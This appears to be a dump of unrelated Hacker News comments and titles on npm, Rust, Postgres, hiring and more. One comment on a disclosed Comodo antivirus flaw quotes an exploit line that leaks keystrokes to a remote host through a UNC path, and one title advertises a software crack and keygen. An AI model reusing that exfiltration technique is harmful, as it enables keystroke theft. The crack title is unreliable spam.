skysight-inc/HackerNews huggingface dataset:
When you ask them to configure something, do you let them sit in front of a laptop with man pages, google and stack exchange?
Or do you expect them to memorize all your most used command line tools?

Do you expect them to remember the parameters to ifconfig, or do you ask them to craft a script/command line to print only the MTU for each interface?

When you ask them about top, do you expect them to remember what top is? or do you allow them to google for top, and ask them to craft a command line (or shell script) that finds which user is using the most memory on the system?
In the article they recommend using loratadine (Claritin). Is that insufficient as a replacement?
Could someone explain why Rust is so damn popular/controversial?
The original paper was proven to be more alarmist than true. Dan Gilbert's team put out an excellent analysis of the paper and found many poorly performed replications. That being said, it sheds light on the greater problem of p-value hacking that may exaggerate any kind of statistical result
npm already replicates to hundreds of other servers. Right now, it is practically infeasible to actually remove packages permanently.
Tutorial: How to host your websites for free using GitHub Pages
Dutch prisons are closing because the country is so safe
Less dependencies are better. This job is to communicate everything you do in a software project: its reasons and its purposes for every piece. For example, application code that will never be in a public API does not need anything as complex and thoroughly considered than a generic library. When it comes to writing a 10 line function that is represented in an existing module, the most likely reason is that I am writing it for my own purposes and without having to explain why I brought in a package to answer a very small problem.

I implemented KeyMirror from NPM once. It's a simple array->object transformation. It's been in production for months without issue. But, I initially got guff from my boss over it for not using the package. If anything, the package is just an example proof-of-concept of an extremely simple idea. But, carrying the bloat of another package next to more relevant packages seems to be more important here than just merely owning a simple piece of code like this.
Photoshop shortcuts every designer should know
That was a jab at browsers and their history of not supporting specs identically. HTML5 is also a "strongly defined" specification and it didn't help.
Childcare is a very heavy female industry. It's a role that's highly feminized and the bias still carries very strongly today so yeah I'm not surprised at all. In fact I'd be willing to bet the amount of men they actually have in the network is less than a percentage point.

Due to the perceived biases I too would probably only use graphics with women in it. I'm not saying it's right by any means but ultimately they're here to build a company and while they can certainly, very slowly, help the situation being overt may not be the best idea today.
I've played video games that were distributed as PDFs. You can actually do a lot inside a PDF.
Let's Fix the App Store Ratings
It's a huge red flag - they've temporarily disabled the function while they audit all APIs they're calling, but they still believe their core design is ok - this means they'll go back to emulate with pass-through everything that THEY can't figure a way to exploit.
Do you have references for these? Google doesn't give me much.
In several European countries there are mandatory yearly checks for (old) cars and if your car doesn't pass you are not allowed to drive it until it's fixed. It would be interesting to see if the lack of checks in the US actually causes significantly more traffic accidents and/or more severe accidents.
Well it shouldn't be hard...oh wait. This is javascript. Good luck then. :)
Is this the millenials' version of the "500 Mile Email"? - http://www.ibiblio.org/harris/500milemail.html
Trap Notes simplest text editor alive
Software is unreliable. Bugs happen. Always. There are bugs in avionics, medical devices firmware, nuclear power plants monitoring software, bank transfers backends, all places.

Once upon a time it was common to think that we can design software without bugs, or at least almost. That didn't work at all! What did work is redundant systems, invariant testing and fail-fast with restarts. This is how reliable systems are written these days.

Bugs are common; we have to learn to work around them.
Right, and I can see your point above about the change being pointless because it's so easy to work around ISOs!
19 new-pieces of non-human DNA in genomes of modern humans found
so, could I use this with my linode?
What problem? I think we need a mixture of specialists and generalists
Adobe Contribute 6.5 Crack Serial Number Keygen
It's DRM-free in the Humble Store as well. Look for the DRM-free icon on the right. I'm pretty sure it's also without DRM on Steam.
Can someone summarize the content, and specifically point out the lessons? The only thing I'm getting from reading it is "we come from far away, that's why it was harder" (true story but doesn't really help others in this situation) and "YC is so great" (which may or may not be true, but also doesn't teach us anything). I don't find any lessons.
That's probably true for any benchmark - YMMV.
Sure. And it's easy to copy and paste into a few different projects that you maintain. What happens, however, when you decide to use multiple characters instead of a single character (to create a pattern for example)? Now your padding is two or more times as long as needed. So you write a little extra logic but now you have to update multiple projects to implement that same change.

I think what's great about external modules is:
* you only need to update the package file to get the benefits of new versions of dependencies
* you can call `require('left-pad')` instead of what can end up like `require('../../utils/string').leftPad`
* your code only describes _what_ it's doing, not _how_ (declarative programming)
Error establishing a database connection...
Mind-Blowing Magic Magnets – Smarter Every Day 153
When are you from, 2005?

It's been like this so long now even MS use this model with nuget.

You sound seriously out of touch.
LogPacker  – a new log management platform
I was not trying to prove a point. It's just that giving a parallel speedup for a mostly CPU-bound task without mentioning the number of cores is not very interesting. 25x on 64 cores is not as interesting as 25x on 32 cores.

If you know the number of cores you get that the efficiency is 80% (w.r.t. linear scaling) which is very good.
The Pi calculator gave me the rest.
Like, can my github username be kik?
And if I have created years before they founded kik?
Exactly my thought, also markdown is inconsistent at places
I wanted to reply "I never get good ideas for websites / apps", but then I realized I actually meant "I never get good ideas IN FIVE SECONDS".

Maybe I should spend more time thinking about this :)
> so you actively avoid talking about it.

Yes, lying is more commonly - the act of omission rather than telling.
Just having a little fun, friend. :)
Practical Guide to Bare Metal C++
I would assume that when you query billions of rows, the disk is the bottleneck, not the CPU. What am I missing?
Name-calling and slurs, both of which you've done here, break the HN guidelines. If you have a substantive point, please make it without stooping to these; if you don't, please don't post at all.

We detached this subthread from https://news.ycombinator.com/item?id=11340768 and marked it off-topic.
It guarantees memory safety without a GC. The result is a high performance language that doesn't require manual memory management like C or C++, and generally consumes less memory, as noted by the Dropbox guys. It's an expressive language which is also suitable for systems programming. It's a more modern language than Go (in the sense that is incorporates modern features, unlike Go which keeps things simple by sticking to familiar features dating back to the 70's), but does require more time to learn.
That is why you have the FDA - to make sure drug companies test their products properly.
Great, I took berodual for years because of asthma :/
A malicious module on npm
Thoughts about Virtual Reality devices, content creation, and interaction models
I'm using Monet, because I want to make an impression on my clients.
> youtube
Please don't post comments to put others down. That's lame.

If you know more than others, don't lord it over them; teach us.
For our next LAN party this week, we did a small player interface to welcome users using VT220. Here is it working with an acoustic coupler throught a field phone: https://vimeo.com/159678785 :)
Salvador Dali is the full name. I'll let you decide how serious it is.
Show HN: Pip. Forward-thinking Actions
It's avtually 19, I just didn't understand all of them to be able to write proper descriptions.
Ask HN: Why isn't there a React Native browser yet?
In development mode, react native works like a glorified web browser but instead of web components it renders native components. Why isn't there a browser (and a server/package manager) which brings native to the web. Instead of a hardcoded IP for the package manager we have an address bar which fetches the react code and renders it. Is performance the concern? Or does HTML win because of smaller code footprint? What has stopped Facebook and/or others from building the native web.
Yea I'm sorry but it just gets on my nerves when people post things like "just don't support it!".

I would if I could, everyone would if they could.
Manajer baru Antonio Conte
Awesome list, thanks!
I suspect this is being downvoted because VG has a reputation for being notoriously unstable.
That model is working for me too. In the beginning it might be hard, but now I'm making more than three times the money I could make in a normal job.

edit: And I only have to work two hours a day!
If you use OpenJDK you can end up with an unknown version of Java - specifically whatever Debian or Canonical happened to pull from the source tree and ship, which in some cases have been automated top-of-tree pulls before.
See for example:
github.com/docker-library/openjdk/commit/00a9c5...
Virtual and augmented reality seem like the endgame for what phones do for us now. Instead of a computer on every desk, or every pocket, it's one in every eye.

I'd rather follow a set of virtual arrows to my destination than have to keep checking my phone. This goes for a lot of tasks I use my phone for. Though the privacy concerns are more worrisome than mobile phones!
The only way Facebook enters China is as a tool of the government
Or, you could look at it, it's 101 fewer things to think about. Besides, we're talking about a package that doesn't have any dependencies.
Most Germans wouldn't know that kik is also a chat app ;-)

"KiK is the largest textile discounter chain in Germany and operates about 3,200 stores in Germany, Austria (since 1998), Slovenia and Czech Republic (since 2007), Hungary and Slovakia (since 2008), Croatia (since 2011) and Poland (since March 2012)."

https://en.wikipedia.org/wiki/KiK
I believe this is the most important difference, at least for me:

> Customers are many. They're distributed and decentralized and independent

This gives me freedom. Sure, it would be best if I just received a one billion dollar gift (I don't think small :P) but until then, having the freedom to choose what projects I'm willing to work on is amazing.
Including Steam itself?
there is a package called facebook: https://www.npmjs.com/package/facebook and it doesn't seem to be owned by facebook?
No. I could find, evaluate and install that package quicker than I could write the code that carefully. And the second time I need it, it's just "remember, install". Also, keeps my code small and focused.
You seem to be entirely skipping over the novelty requirement as well as non-obviousness.
At last! This was the only feature I was missing in Postgres for years.

Postgres is so amazing I still find it hard to believe it's free. I abused it many times (as a graph database; as a real-time financial data analytics engine with thousands of new ticks coming in each second; as a document storage with several TBs of data per node), and amazingly, it just worked. Magic.

If in doubt, choose Postgres.
Believe me, I understand how comments like that get on one's nerves. But civil discourse requires those of us with nerves to tolerate the irritation enough not to toss it back. The system has no steady state: the irritation either grows or we dampen it.
We just throw some Pollock on the box at random, but there's some more detailed Seurat dotted around the stack.
@sytse a marketplace is mostly a excuse for not delivering features, so I'm glad you don't have one yet.
I think you may mean "naive passengers will be reassured by two men in suits". Savvy passengers would know how pilot error is the main cause of crashes.
ARM is a good example, they don't really manufacture any hardware. They license out rights to develop and sell hardware using their base designs.

But they're a rare species...
Have Email courses become the new way of learning?
Do you mean Adafruit?
If Rust isn't suitable for C's niche, Rust's proponents should stop pitching Rust as a replacement for C.

> The Rust team made conscious design choices in full awareness of the trade-offs

I don't think that anyone who isn't already predisposed to avoid exceptions would consider the tradeoff the Rust people made to be the correct one.
Startup Life Is a Pitch (According to Yeezy)
PHPUnit, Etsy – Testing Best Practices
Query engines typically aggressively cache data in memory (mmap, CreateFileMapping or such). Their testbed has 256GB of RAM meaning that the cache is likely hot the majority of the time. Even if you don't have that much memory, there might be a chance that the parallel workers are working on the same pages resulting in a non-proportional relationship between worker count and I/O ops.
ESP8266 superfast flashing: flash ESP in 5 seconds
Human resources startup CharlieHR raises $1.4M to target small businesses
I'm still vaguely sentimental about my old Saturn, which died in 2002. Saturns had a reputation for being the safest cars of their day, and mine certainly proved that to me. My wife and I were driving on a fast stretch of highway east of Santa Fe -- where going less than 90mph would get you rear-ended -- when the tire blew out. The car began to drift and then started pinwheeling against a guardrail, disassembling itself almost gracefully. A few seconds later we was resting in the median. The front and rear of the car were mostly gone, but the passenger cabin was fully intact. We were completely unharmed and mostly unruffled. My first words were something to the effect of "nice car".

I'll always be grateful to the Saturn engineers who saved our lives that day. Thanks, guys!
The reality, however, is that if you took this point of view, you will spend your time reinventing the wheel, introducing bugs and wasting resources. That's how it works in real life.
Basic differences between x86 Assembly and X86-64 Assembly
I can see the guys point that people pattern match for appearance. But I'd imagine the way to go against it is for him to let people know he's gone to Princeton and has an MBA from UCLA and the like rather than expecting VCs to say to him let's talk about you being black.

Also as an aside, as an investor I think I might be more worried about him seeming a non technical solo founder than the skin colour thing.
I'mm successfully running IPv6 on VMWare (Fusion, ESX 5, ESX 6) on both Clients (Debian 8, Ubuntu 12.04, FreeBSD 10.2, Windows 7, Windows 10) and Servers (Debian 8, Ubuntu 12.04, FreeBSD 10.2, Windows 2008R2) .

I have not seen the issue described here in any configuration - neither on clients nor on servers. I wonder whether this is an issue with VMWare running on a specific host?

edit: From the forum post in the linked article, I'm gathering they are using IPv6 NAT. So this might be a problem with the VMWare NAT interface - my configurations are all bridged.
Yeah but that's not the world of NPM. It's a clusterfuck of a maze of near duplicate dependencies with no hierarchy or anything. There's no organization or thought. It's just a bunch of crap tossed together to encourage cargo cults programming.
An administrator accidentally deleted the production database
"Maybe your flight got cancelled. Or your cable subscription got more expensive. Or maybe you bought something online and the day after the price dropped. Or the package arrived two days late."

Sorry, those are not injustices. Especially service price increases and "after purchase" price drops.

This makes me wonder: What if a JaaS company alters its prices? What recourse will consumers have to correct this "injustice"?

In all seriousness, however, I believe that this deserves a better name. Maybe Reimbursements as a Service (RaaS).
Posting as a reminder to myself that "in the cloud" != safe

There's always room for computer error, and more like, human error.

Imagine if something like this happened to Dropbox? Ooooft.
When it comes to security research, Tavis Ormandy is truly inspirational. It isn't just about the bugs he discovers, but I find his explanations often very simple to understand.

This is an extremely severe design issue, where an Anti Virus can not only be bypassed, but it can actually be used to compromise an attacked system.
Comodo runs suspicious code inside an emulator(VM), but instead of implementing full OS emulation, they allow a lot of the API calls inside the emulator to leak out to the hosting computer, and actually run them with NT AUTHORITY\SYSTEM privileges(The windows equivalent of root).

The exploit code serves as a simple key logger, by repeatedly calling GetKeyState(With system privileges!), and leaking this information to a remote server using the SetCurrentDirectory() API (By calling SetCurrentDirectory("\\\\?\\UNC\\192.168.237.1\\<Pressed key>")

This is a beautiful attack, and I couldn't help but smirk at the "wtf!!!!" comment.
I am a heavily invested user of JavaScript and the surrounding ecosystem and the security aspects of the npm package system has been in the back of my mind for a while. As I don't consider myself an 'expert' in all things npm and package management I've deferred to the general consensus, which didn't seem to mind too much about the security problems npm exhibits (This reminds me of the sub-prime crisis).

I think an event like this is a really positive thing, as it promotes discussion about something that is exceedingly important. All it takes to exploit this vulnerability is a bit of time and effort, it looks really easy to inject malicious code into any number of 'de-published' packages.
I hope that some kind of name spacing and / or locking of npm packages results from this and that the javascript ecosystem continues to mature and develop in the right direction. Npm inc have an opportunity here to do the right thing. If they don't then there's going to be a mutiny and a 'better' alternative will supersede npm. Bower anyone? ;)
Want to start a Startup? Here are the reasons why you should move to Lisbon
In addition to what other people have said, the exact same thing could have happened even if the project was only hosted on Github. Github could receive a DMCA notice, take down the repo and buf.. gone.
> as it is server-side software, GPL had not changed much here, you have to provide the source of your program only to those who got delivery of that program, but that is not covering running on your servers.

This is exactly the reason the Affero GPL was invented.

And, yes, there is no legal requirement to donate money. However it shows bad faith and it shows that "a corporation using your code for their profit without giving back" is a reality.
http://www.dangermouse.net/esoteric/piet/piet_pi_big.png

> Richard Mitton supplies this amazing program which calculates an approximation of pi... literally by dividing a circular area by the radius twice. Richard says:

The output is printed without the decimal
point after the 3.

Naturally, a more accurate value can be
obtained by using a bigger program.
So You Wanna Be a Chef – By Bourdain (2010)
Vr and augmented are different things. Augmented has potential, but the heavy lifting will likely be done in smartphones for the time being, like it's happening with watches. The smartphone is the perfect "unit of computing" as it is; we will get better interfaces, but the mobile revolution has already happened. Augmented won't be as transformative as smartphones have been.
You can power a "Full HD" monitor off USB. These have been around for a while, but it's really fun to see someone set up with dual screens at a coffee shop running on batteries: https://www.asus.com/us/Monitors/MB168BPlus/
Then it is better to write all columns, even if some with "(unknown)" desc.
Would that work if you did it before the court order?
I don't like the clickbaity title.
OOP != garbage, badly done and/or unnecessary OOP == garbage.
> Or,

Exactly. For company A it means you have 6 years experience. For company B it means you can lead a team and mentor people. For company C it means you know so much about Java you can write the book. For company D it means you can type and open word. Coming up with a precise definition is futile. It is just going to be anecdotal.

It feels a bit like True Scotsman territory.
Do you also ask 10 years experience in Windows 10 when you hire people?

Because what you ask is just as stupid

Let's hope you don't find out about dihydrogen monoxide then
Show HN: Smart Wallet – smarter way to manage your finance
It looks good up to 30 parallel worker processes. It does start to diverge a bit after that, but still very impressive.
could we just move our javascript package manager to an organisation rather than a commercial company?

then please use named scope as default like@cycle/core @reactivex/rxjs.
Rust is also an absolute pleasure to write. It feels like a functional Ruby (minus the bad parts) with types. The RAII is natural; writing C++ feels cludgy by comparison.

Cargo is absolutely brilliant, too. It's better than NPM.

I'm writing most of my new side projects in Rust now, FWIW.
the issue with Wheels on Linux, and this is very much a Linux problem, is that the 'pre built' nature of libraries in wheels doesnt play nice with the raw chaos of Linux's package management + distro + kernel ecosystem. I raised the question of FreeBSD and Solaris based wheels at a PyCon when I was in a face to face discussion with someone more knowledgeable, and the answer was 'in theory that should work like Windows & OSX, no one has done the hard work yet.'

So yeah Linux is not the most friendly environment for Python Wheels.
Alternatively, assume insignificant individual human agency. Systemic forces dominate.

The conclusion would be the same: Be very wary of having yourself put on any form of long-term medication.
Previous videos

Object-Oriented Programming is Bad
https://www.youtube.com/watch?v=QM1iUe6IofM

Object-Oriented Programming is Embarrassing: 4 Short Examples
https://www.youtube.com/watch?v=IRTfhkiAqPw

I'm watching the 'is Bad' one, and honestly, it rings too close to my experience.

Need to think about this a bit more deeply!
The Hottest Marketing Software Categories for Marketers in 2016
I know ec2 people find it extraordinary having 32 cores, but on ovh you can get machine with 20c and 40 hyper threads and 256 GB of RAM for less than 350$ a month.
What OP really needs to do is get tcpdump (or similar) output from the vm, and just outside the vm (host or router).
I.e. you don't have to run Steam to run DOTT, if you bought it from there.
How to raise funding on Snapchat
It's a double edged sword.
Emulating all the OS functions is probably an impossible task for them at the moment.
It isn't just about implementing all the OS calls, it's also about implementing them in a way that doesn't allow malware to detect that it's running inside of an emulator.
Security and Sandboxing. You would have to reinvent so many security protections.